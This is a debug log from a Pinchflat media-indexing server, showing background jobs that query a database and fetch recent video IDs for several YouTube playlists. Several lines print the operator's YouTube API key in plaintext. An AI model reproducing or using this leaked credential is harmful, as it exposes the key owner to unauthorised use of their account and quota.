{"args":{"id":47},"id":5268224,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":229758,"event":"job:stop","queue_time":487765,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:04.091 [info] {"args":{"id":32},"id":5268225,"meta":{},"system_time":1791581704091402856,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:04.091 [debug] QUERY OK source="sources" db=0.2ms idle=771.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:35:04.092 [debug] QUERY OK source="settings" db=0.1ms idle=771.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:04.092 [debug] QUERY OK source="media_profiles" db=0.1ms idle=765.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:04.092 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:04.092 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:35:04.092 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:04.092 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:04.539 [debug] QUERY OK source="media_items" db=0.6ms idle=446.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 16:35:04.541 [debug] QUERY OK source="media_items" db=1.3ms idle=447.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:35:04.541 [debug] QUERY OK source="tasks" db=0.1ms idle=449.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268264, 32, ~U[2026-10-09 21:35:04Z], ~U[2026-10-09 21:35:04Z]] 16:35:04.542 [info] {"args":{"id":32},"id":5268225,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":450613,"event":"job:stop","queue_time":144066,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:05.092 [info] {"args":{"id":24},"id":5268226,"meta":{},"system_time":1791581705092205118,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:05.092 [debug] QUERY OK source="sources" db=0.1ms idle=550.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:35:05.092 [debug] QUERY OK source="settings" db=0.1ms idle=550.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.093 [debug] QUERY OK source="media_profiles" db=0.1ms idle=544.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:05.093 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.093 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:35:05.093 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.093 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:05.344 [debug] QUERY OK source="media_items" db=0.4ms idle=251.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 16:35:05.344 [debug] QUERY OK source="media_items" db=0.1ms idle=251.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:35:05.345 [debug] QUERY OK source="tasks" db=0.1ms idle=252.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268265, 24, ~U[2026-10-09 21:35:05Z], ~U[2026-10-09 21:35:05Z]] 16:35:05.345 [info] {"args":{"id":24},"id":5268226,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":253344,"event":"job:stop","queue_time":929058,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:05.352 [info] {"args":{"id":15},"id":5268227,"meta":{},"system_time":1791581705352241031,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:05.352 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:35:05.352 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.352 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:05.352 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.352 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:35:05.353 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.353 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:05.497 [debug] QUERY OK source="media_items" db=0.5ms idle=144.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 16:35:05.498 [debug] QUERY OK source="media_items" db=0.4ms idle=145.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:35:05.499 [debug] QUERY OK source="tasks" db=0.1ms idle=145.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268266, 15, ~U[2026-10-09 21:35:05Z], ~U[2026-10-09 21:35:05Z]] 16:35:05.499 [info] {"args":{"id":15},"id":5268227,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146971,"event":"job:stop","queue_time":1029068,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:05.505 [info] {"args":{"id":3},"id":5268228,"meta":{},"system_time":1791581705505213509,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:05.505 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:35:05.505 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:05.506 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.506 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:35:05.506 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:05.506 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:05.685 [debug] QUERY OK source="media_items" db=0.6ms idle=179.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 16:35:05.686 [debug] QUERY OK source="media_items" db=0.4ms idle=180.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:35:05.687 [debug] QUERY OK source="tasks" db=0.1ms idle=181.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268267, 3, ~U[2026-10-09 21:35:05Z], ~U[2026-10-09 21:35:05Z]] 